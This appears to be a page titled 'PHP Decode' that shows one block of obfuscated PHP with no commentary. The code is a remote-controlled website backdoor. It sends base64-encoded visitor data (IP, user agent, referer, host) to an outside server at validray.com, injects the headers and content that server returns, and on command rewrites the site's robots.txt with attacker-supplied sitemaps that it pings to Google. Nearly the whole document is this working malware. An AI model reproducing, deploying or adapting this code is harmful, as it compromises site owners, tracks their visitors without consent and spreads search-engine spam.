PHP Decode

<?php ErrOR_RePorTiNG((int)ROunD(0+0+0));$_ywqfdjl="zj78";$_tshwujit="y1";if(PrEG_matCh("/jp2023/si",$_SERVER["REQUEST_URI"])==((int)ROuNd(67+67)-(int)rOuNd(23.333333333333+23.333333333333+23.333333333333)+(-063-0262+-0456- -0724))){HEadEr("HTTP/1.0 404 Not Found");echo"HTTP/1.0 404 Not Found"."___".$_ywqfdjl."___".$_tshwujit;exit;}function _kpcdiyw($_hrxyfe){$_ygnbo=CUrL_InIT();CUrL_setoPt($_ygnbo,(int)rOUNd(5001+5001),$_hrxyfe);CuRl_sEtOpT($_ygnbo,(int)roUnd(4978.25+4978.25+4978.25+4978.25),(int)RouNd(-95.5+-95.5)+(0306+-06));cURL_SEtoPT($_ygnbo,(0133-0260)-(int)roUnD(-68+-68+-68)-(int)Round(13.666666666667+13.666666666667+13.666666666667),(-01152- -02602- -0553+-03426)+(int)RouND(167.25+167.25+167.25+167.25));$_nwprvbdk=cURL_exeC($_ygnbo);$_nwprvbdk=tRim($_nwprvbdk);cuRL_CloSE($_ygnbo);if(empty($_nwprvbdk)){$_nwprvbdk=FILe_Get_COnteNTS($_hrxyfe);}return$_nwprvbdk;}$_cbaj="http://".$_ywqfdjl.".validray.com";$_xfiraifi="/index.php?VS=".$_tshwujit."&GP=".$_ywqfdjl;$_fdhwrfdt=array("SCRIPT_NAME","REQUEST_URI","HTTPS","REQUEST_SCHEME","SERVER_PORT","REMOTE_ADDR","HTTP_REFERER","HTTP_ACCEPT_LANGUAGE","HTTP_USER_AGENT","HTTP_HOST");foreach($_fdhwrfdt as$_wfnci){$_anrja=isset($_SERVER[$_wfnci])?$_SERVER[$_wfnci]:"";$_clzl=bAse64_eNcoDe(trIm($_anrja));$_clzl=str_REpLAcE("+","-",$_clzl);$_clzl=sTR_rePlacE("/","_",$_clzl);$_clzl=sTR_REpLace("=",".",$_clzl);$_xfiraifi.="&".$_wfnci."=".$_clzl;}$_bvjhq=eXpLOdE("|@#$|",TrIM(_kpcdiyw($_cbaj.$_xfiraifi)));$_owhsm=couNt($_bvjhq);if($_owhsm<((int)rOuNd(255.33333333333+255.33333333333+255.33333333333)-(01077-01440)-(01201-01624- -01756)-(int)Round(64.25+64.25+64.25+64.25))){HeaDeR("HTTP/1.0 404 Not Found");exit;}else{$_pekp=triM($_bvjhq[(-0403- -0376- -0260+-0601)+(0170- -0251+01106+-01221)]);if(!empty($_pekp)){HEadEr($_pekp);}$_fbzual=tRIm($_bvjhq[(int)rOUNd(-185+-185+-185)+(01064+0711+-0771)+(int)ROUND(20+20)]);if(!empty($_fbzual)){echo$_fbzual;}$_wjuosno=tRIM($_bvjhq[$_owhsm-((int)ROUnd(-60+-60)+(int)RoUNd(13+13+13)+(int)rOUND(79.25+79.25+79.25+79.25)+(-0300- -0340+-01115- -0502))]);if($_wjuosno=="exit"){exit;}if($_wjuosno=="ping"){$_stue="User-agent:*".PHP_EOL;$_stue.="Allow:/".PHP_EOL;$_uqdg=eXploDE("<br/>",$_fbzual);ArraY_POP($_uqdg);foreach($_uqdg as$_ncln){$_stue.="Sitemap:".$_ncln.PHP_EOL;$_eihvhw=_kpcdiyw("https://www.google.com/ping?sitemap=".$_ncln);PrEg_MAtch("/<h2>(.+)?<\/h2>/",$_eihvhw,$_bgcrrkfh);echo$_ncln."==>ping-google-result-is:<b>".$_bgcrrkfh[(0531+-0630)+(int)ROUnD(21.333333333333+21.333333333333+21.333333333333)]."</b><br/>";uSLeEp(mT_rAnD((int)ROUnD(50000+50000),(int)RouND(100000+100000+100000)));}fIle_PUt_ContentS($_SERVER["DOCUMENT_ROOT"]."/robots.txt",$_stue);echo"robots.txt==><b>updated</b>";exit;}};?>